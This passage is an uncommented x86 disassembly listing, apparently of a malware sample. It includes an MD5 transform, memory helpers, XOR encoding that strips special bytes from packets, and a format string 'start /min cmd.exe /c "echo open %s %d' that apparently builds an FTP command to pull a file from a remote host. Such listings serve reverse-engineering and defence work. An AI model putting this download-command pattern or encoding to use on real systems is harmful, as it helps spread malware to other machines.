and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_42F8F0
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_42EC30 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 125h dup(0CCh)
dword_42F6A5 dd 0CCCCCCCCh ; DATA XREF: sub_40CFB0+39Er
db 137h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F7E0 proc near ; CODE XREF: sub_42EBA0+14p
; sub_42EBA0+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_42F827
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_42F7FA: ; CODE XREF: sub_42F7E0+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_42F7FA
pop esi
loc_42F827: ; CODE XREF: sub_42F7E0+7j
pop edi
retn
sub_42F7E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F850 proc near ; CODE XREF: sub_42EC30+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_42F89A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_42F86D: ; CODE XREF: sub_42F850+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_42F86D
pop edi
pop esi
loc_42F89A: ; CODE XREF: sub_42F850+7j
pop ebp
retn
sub_42F850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F8C0 proc near ; CODE XREF: sub_42EAC0+4Ep
; sub_42EAC0+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_42F8DC
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_42F8D3: ; CODE XREF: sub_42F8C0+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_42F8D3
loc_42F8DC: ; CODE XREF: sub_42F8C0+7j
pop esi
retn
sub_42F8C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F8F0 proc near ; CODE XREF: sub_42EBA0+60p
; sub_42EC30+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_42F91E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_42F91E: ; CODE XREF: sub_42F8F0+6j
retn
sub_42F8F0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F930 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_42F94D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_42F943: ; CODE XREF: sub_42F930+1Bj
cmp [eax+edx], cl
jz short loc_42F951
inc eax
cmp eax, esi
jl short loc_42F943
loc_42F94D: ; CODE XREF: sub_42F930+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_42F951: ; CODE XREF: sub_42F930+16j
pop esi
mov al, 1
retn
sub_42F930 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F970: ; CODE XREF: _294ADE7B:004013D4j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
call ds:dword_4B3CB0
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
call ds:dword_4B3AB0
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call ds:dword_4B3AB0
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, offset dword_43FA8C
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_42FA2C
push ebx
push ebp
call eax
add esp, 8
loc_42FA2C: ; CODE XREF: _294ADE7B:0042FA23j
push ebx
call ds:dword_4B3AB0
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_42FA6E: ; CODE XREF: _294ADE7B:0042FAE7j
push 5Ch
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FAAE
push 0
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FAAE
push 0Ah
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FAAE
push 0Dh
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jz short loc_42FAE9
loc_42FAAE: ; CODE XREF: _294ADE7B:0042FA7Cj
; _294ADE7B:0042FA8Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_42FAE0
loc_42FAD3: ; CODE XREF: _294ADE7B:0042FADEj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_42FAD3
loc_42FAE0: ; CODE XREF: _294ADE7B:0042FAD1j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_42FA6E
; ---------------------------------------------------------------------------
loc_42FAE9: ; CODE XREF: _294ADE7B:0042FAACj
mov eax, [esp+28h]
push eax
call ds:dword_4B3AAC
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, ds:dword_4B3AAC
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBD0: ; CODE XREF: _294ADE7B:00401C3Aj
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
call ds:dword_4B3AB0
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call ds:dword_4B3AB0
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, offset dword_43FA8C
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_42FC82
push ebx
push ebp
call eax
add esp, 8
loc_42FC82: ; CODE XREF: _294ADE7B:0042FC79j
push ebx
call ds:dword_4B3AB0
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_42FCC4: ; CODE XREF: _294ADE7B:0042FD3Dj
push 5Ch
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FD04
push 0
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FD04
push 0Ah
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FD04
push 0Dh
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jz short loc_42FD3F
loc_42FD04: ; CODE XREF: _294ADE7B:0042FCD2j
; _294ADE7B:0042FCE2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_42FD36
loc_42FD29: ; CODE XREF: _294ADE7B:0042FD34j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_42FD29
loc_42FD36: ; CODE XREF: _294ADE7B:0042FD27j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_42FCC4
; ---------------------------------------------------------------------------
loc_42FD3F: ; CODE XREF: _294ADE7B:0042FD02j
mov eax, [esp+28h]
push eax
call ds:dword_4B3AAC
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, ds:dword_4B3AAC
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE30: ; CODE XREF: _294ADE7B:00401E83j
mov eax, 200Ch
call sub_430390
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
call ds:dword_4B3C18
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
call ds:dword_4B3AB0
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
